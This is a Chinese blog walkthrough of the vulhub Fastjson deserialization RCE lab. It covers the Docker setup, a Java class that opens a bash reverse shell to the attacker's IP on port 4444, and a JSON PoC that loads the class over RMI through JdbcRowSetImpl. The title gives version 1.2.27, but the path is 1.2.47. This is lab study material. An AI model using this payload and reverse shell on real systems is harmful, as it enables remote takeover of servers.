当前位置: 首页 > news >正文

vulhub之fastjson篇-1.2.27-rce

一、启动环境

虚拟机:kali靶机:192.168.125.130/172.19.0.1(docker地址:172.19.0.2)

虚拟机:kali攻击机:192.168.125.130/172.19.0.1

本地MAC:172.XX.XX.XX

启动 fastjson 反序列化导致任意命令执行漏洞 环境

1.进入 vulhub 的 Fastjson 1.2.47 路径

cd /../../vulhub/fastjson/1.2.47-rce

2.编译并启动环境

docker-compose up -d

3.查看环境运行状态

docker ps | grep rce

二、漏洞利用

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c","bash -i >& /dev/tcp/192.168.125.130/4444 0>&1 &"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

将java文件编译成class文件

开启http服务

开启rmi服务

发送poc

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.125.130:9998/TouchFile","autoCommit":true}
}

反弹成功

http://www.lryc.cn/news/336595.html

相关文章:

  • 基于springboot实现教师工作量管理系统项目【项目源码+论文说明】计算机毕业设计
  • [StartingPoint][Tier1]Crocodile
  • 【Qt】:常用控件(四:显示类控件)
  • gradio简单搭建——关键词简单筛选【2024-4-11优化】
  • docker完美安装分布式任务调度平台XXL-JOB
  • java使用while循环输出2-100的所有素数
  • VSCode中调试C++程序
  • Can Transformer and GNN Help Each Other?
  • 在隐私计算应用中和数链具备哪些技术特点?
  • 【智能家居入门4】(FreeRTOS、MQTT服务器、MQTT协议、微信小程序)
  • 爬取豆瓣(线程、Session)优化版本
  • 拷贝控制总结
  • 无重复字符串的最长子串
  • javaScript Object.hasOwn()的用法
  • MINI2440 开发板 给他干出来了
  • 上海人工智能实验室的书生·浦语大模型学习笔记(第二期第三课——上篇)
  • 前端小白的学习之路(Vue2 三)
  • ChatGPT 之优势与缺陷
  • python爬虫———post请求方式(第十四天)
  • 51蓝桥杯之DS18B20
  • TiDB 组件 GC 原理及常见问题
  • 【c++】STl-list使用list模拟实现
  • 号卡极团分销管理系统 index.php SQL注入漏洞复现
  • 内核驱动更新
  • 故障诊断 | 一文解决,PLS偏最小二乘法的故障诊断(Matlab)
  • 我为什么选择成为程序员?
  • Open CASCADE学习|统计形状拓扑数量
  • LeetCode 热题 100 题解(二):双指针部分(2)| 滑动窗口部分(1)
  • 常用的深度学习自动标注软件
  • 选择程序员是为什么?